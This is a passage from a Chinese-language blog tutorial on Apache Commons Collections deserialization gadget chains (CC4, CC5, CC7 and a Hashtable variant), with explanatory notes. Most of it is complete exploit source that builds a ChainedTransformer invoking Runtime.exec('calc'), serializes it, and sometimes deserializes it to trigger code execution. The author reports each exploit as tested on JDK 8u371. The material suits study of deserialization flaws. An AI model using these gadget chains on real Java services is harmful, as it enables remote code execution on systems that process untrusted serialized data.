Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
File file = new File("cc2.bin");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject(); } }
|
注意的问题:

需要保证size >>> 1
结果大于等于1,size为2时刚好满足,所以向队列里put两个对象。
在构造ChainedTransformer
时,最后添加new ConstantTransformer("luc1fer")
可以防止ProcessImpl
不可反序列化报错。
CommonsCollections4
CC4是CC2的变种,也是基于CommonsCollections4.0
,CC2是基于PriorityQueue.readObject
调用compare()
,CC4是通过TreeBag.readObject
调用TreeMap.put()
然后调用compare()
,compare
调用transform()

EXP(在8u371也测试成功):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Field;
public class CC4 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), new ConstantTransformer("luc1fer") }); TransformingComparator transformingComparator = new TransformingComparator<>(new Transformer() { @Override public Object transform(Object o) { return o; } }); TreeBag<Object> treeBag = new TreeBag<>(transformingComparator); treeBag.add("luc1fer"); Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(transformingComparator,chainedTransformer);
File file = new File("cc4.bin");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject(); } }
|
这里很简单没什么需要注意的。
CommonsCollections5
在CC5链中因为BadAttributeValueExpException.readObject()
方法会调用BadAttributeValueExpException.val.toString()
,TiedMapEntry.toString()
会调用getValue()
之后就会调用map.get()
触发CC1中LazyMap
那条链。

这条链也比较简单。但是这里需要注意一个问题:
要在BadAttributeValueExpException
初始化之后再通过反射注入val
的值。

如果直接在初始化的时候注入值,会在构造方法中调用toString()
导致反序列化的时候直接返回字符串。

EXP(在8u371也测试成功):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
|
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap;
public class CC5 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), new ConstantTransformer("luc1fer") });
LazyMap<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new Transformer<Object, Object>() { @Override public Object transform(Object o) { return null; } }); TiedMapEntry<Object, Object> tiedMapEntry = new TiedMapEntry<>(lazyMap,"luc1fer"); Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val"); valField.setAccessible(true); valField.set(badAttributeValueExpException,tiedMapEntry); File file = new File("cc5.bin"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(badAttributeValueExpException);
} }
|
CommonsCollections7
CC7在ysoserial
中的调用链如下:

在HashTable
的readObject()
中会调用reconstitutionPut()
,在该方法中会调用key.equals()
,HashTable中放入两个LazyMap作为key
,且这两个lazyMap的hash
必须相同,否则散列之后的index
位置上为null
将不会进入for循环。这两个lazyMap不能相同,相同的话hashTable.put()
会将就元素替换掉,而不是新添加进去。
lazyMap.hashCode()
其实就是将lazyMap中的key-value循环运算Objects.hashCode(key) ^ Objects.hashCode(value)
并相加,为了简便我们只需要向lazyMap中放一个key-value就行。


随手测试了一个就相等,当然也可以遍历字符跑一下:
1 2 3 4 5 6 7 8
| import java.util.Objects;
public class CC7test { public static void main(String[] args) { System.out.println(Objects.hashCode("1") ^ Objects.hashCode(1)); System.out.println(Objects.hashCode("3") ^ Objects.hashCode(3)); } }
|
这里有一个问题需要注意:

在执行hashtable.put(lazyMap2,2)
的时候因为lazyMap1
与lazyMap2
的hash
相等所以会触发AbstractMap.quals()
进而到LazyMap.get()
中


在LazyMap.get()
方法中会将key和value添加到map中,如果添加之后在反序列化的时候hash就会变化,无法触发。所以要在下面添加lazyMap2.remove("1")
.
具体的EXP如下(8u371测试成功):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| package cn.luc1fer;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(2)}; Transformer[] transforms = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers); Map innerMap1 = new HashMap(); innerMap1.put("1",1); Map innerMap2 = new HashMap(); innerMap2.put("3",3); Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap1,1); hashtable.put(lazyMap2,2); lazyMap2.remove("1");
Class clazz = ChainedTransformer.class; Field field = clazz.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer,transforms); FileOutputStream fileOutputStream = new FileOutputStream(new File("cc7.bin")); ObjectOutputStream oos = new ObjectOutputStream(fileOutputStream); oos.writeObject(hashtable); oos.close();
} }
|
但是我发现在HashTable中的readObject()
也调用了key.hashCode()
,然后就可以将CC6中的hashMap
替换为HashTable
。其实和CC6感觉没什么区别,只不过用HashTable去触发key.hashCode()
.
EXP(8u371测试成功):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
|
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7hashCode { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Hashtable<Object, Object> hashtable = new Hashtable<>(); ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new Transformer() { @Override public Object transform(Object o) { return null; } }); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "luc1fer"); hashtable.put(tiedMapEntry,"luc1fer"); lazyMap.clear();
Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer);
File file = new File("cc7_hashCode.bin"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(hashtable);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject(); } }
|
写在最后
在调试的过程中可能会遇到各种问题,比如版本的问题,在官网下载jdk之后要仔细看清楚版本,国内Oracle官网可能会出现一些问题。在写构造序列化内容时不总是一帆风顺的,总有序列化之后弹不出计算器的时候,调试+思考是解决问题的关键,CC链就先到这吧。